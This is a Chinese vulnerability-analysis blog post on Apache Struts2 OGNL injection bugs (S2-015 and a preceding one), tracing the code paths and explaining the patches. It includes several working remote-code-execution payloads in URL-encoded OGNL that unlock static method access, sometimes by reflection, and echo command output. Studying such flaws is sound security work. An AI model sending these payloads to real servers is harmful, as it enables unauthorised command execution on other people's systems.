跟之前S2-001一样,找到<s:url>对应的类URLTag,在doEndTag()方法中下断点进行调试。

在关键的地方,即执行OGNL表达式计算的类和方法,比如OgnlValueStack#findValue()下断点,一路跟下去,发现在处理url参数的过程中,DefaultUrlHelper#buildParameterSubstring()会调用TextParseUtil#translateVariables(),如下图:

后面的漏洞触发流程就跟S2-012一样了。所以这个漏洞其实没什么值得说道的地方,因为跟之前出现的漏洞类似。

可回显PoC

/xxx.action?fakeParam=
%{#_memberAccess.allowStaticMethodAccess=true,
#context['xwork.MethodAccessor.denyMethodExecution']=false,
#is=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),
#br=new java.io.BufferedReader(new java.io.InputStreamReader(#is)),
#res=new char[20000],
#br.read(#res),
#writer=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#writer.println(new java.lang.String(#res)),
#writer.flush(),
#writer.close()}

漏洞修复

在Struts2的2.3.14.2版本中,DefaultUrlHelper#buildParameterSubstring()没有再调用TextParseUtil.translateVariables()对参数进行处理了。如下图:

S2-015

官方漏洞公告:https://cwiki.apache.org/confluence/display/WW/S2-015

影响版本:Struts 2.0.0 - Struts 2.3.14.2

漏洞复现与分析

S2-015实际上包括两处漏洞:

  • Wildcard matching:通配符匹配导致的RCE
  • Double evaluation of an expression:OGNL表达式二次求值导致的RCE

下面使用vulhub/s2-015对该漏洞进行进行调试分析。

vuln-1: Wildcard matching

struts.xml配置文件中定义了通配符*访问规则,如下图:

假设请求的url中action名为xxxx,不匹配param,而是匹配通配符*,最终返回/xxxx.jsp页面,如果xxxx.jsp页面存在,则返回页面内容,如果不存在,则返回404报错页面,报错信息中包含有/S2-015/xxxx.jsp

而如果请求的action名是一个OGNL表达式,则会进行计算。最简单的PoC,传入一个${2+3}.action,会发现被进行OGNL表达式计算,然后结果回显在404报错页面中,如下图:

从现象来看,OGNL表达式的计算也是在调度Result对象时发生的。因此,与S2-012一样,调试时可在DefaultActionInvocation开始调度Result对象时下断点,以及在OGNL表达式计算的关键方法比如OgnlValueStack#findValue()处下断点。

调试过后发现,这个漏洞触发的方法调用栈,跟S2-012是几乎一样的(不同版本代码略有差异)。它会把<result>标签指定的页面地址作为参数,传入TextParseUtil.translateVariables()进行处理,最终会进入一个OGNL执行器ParsedValueEvaluator里进行OGNL表达式计算。

vuln-1 可回显PoC

在Struts2 2.3.14.2版本的SecurityMemberAccess类中,删除了setAllowStaticMethodAccess(),所以我们在构造PoC的时候就不能通过#_memberAccess['allowStaticMethodAccess']=true的方式去获取调用静态方法的能力,但可以通过反射的方式去修改该属性。另外,还可以像前面S2-001里用过的,使用ProcessBuilder#start()方法来执行系统命令,因为这种方式不需要调用静态方法。

这里使用反射修改allowStaticMethodAccess属性的方式,如下:

/S2-015/%25%7b%23m=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23m.setAccessible(true),%23m.set(%23_memberAccess,true),%23a=@java.lang.Runtime@getRuntime().exec('id'),%23b=%23a.getInputStream(),%23c=new%20java.io.InputStreamReader(%23b),%23d=new%20java.io.BufferedReader(%23c),%23e=new%20char[50000],%23d.read(%23e),new%20java.lang.String(%23e)%7d.action

这里换一种方式来处理命令执行的结果:使用项目依赖包commons-io里的IOUtils#toString()方法。
使用这个方法的好处是,它会根据命令执行结果而返回相应长度的字符串。而不是像上面的方式那样固定的缓冲区。

%25%7B%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23m=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23m.setAccessible(true),%23m.set(%23_memberAccess,true),%23q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())%7D.action

vuln-2:Double evaluation of an expression

ParamAction定义如下图,在该action中定义了message属性以及set/get方法。在struts.xml中还定义了success返回时的方式,使用了${message}去引用message属性的值。

其实这个漏洞本质上与S2-012是一样的,也是在定义Result的行为时,引用了Action的属性值,而Struts2在调度Result对象的过程中,会对Action的属性引用值进行二次OGNL表达式计算,从而导致可RCE。

因为是result的类型是httpheader,所以实际调度的Result对象其实是HttpHeaderResult对象。

然后在HttpHeaderResult#execute()方法中,会将参数fxxk的值${message}传入TextParseUtil#translateVariables()进行OGNL表达式求值,后面的方法调用栈就和S2-012一样了,就不再详细说了:第一次先计算${message},得到我们传入的OGNL表达式%{xxxyyyzzz...}。第二次则计算%{xxxyyyzzz...}并得到结果,并在响应头fxxk中显示。

vuln-2 可回显PoC

漏洞修复

针对 vuln-1:Wildcard matching 的漏洞修复

通过正则表达式对action名进行了校验,将不在白名单里的字符给去掉。新版本的关键修复代码如下图:

针对 vuln-2:Double evaluation of an expression 的漏洞修复

通过比对代码,发现在2.3.14.3版本的OgnlTextParser.java#evaluate()方法里,将位置索引值pos的初始化移到了for循环之前。这样修改,使得第一次OGNL表达式计算后,起始位置pos的值会更新,而不会重新置0,从而避免了二次计算OGNL表达式。<br>
注: <br>
另外,这也是S2-012的修复,之前写S2-012漏洞分析的文章里,把修复方式给写错了!!

  • 发表于 2021-08-31 17:18:30
  • 阅读 ( 6781 )
  • 分类:漏洞分析

0 条评论

请先 登录 后评论
m01e
m01e

4 篇文章

站长统计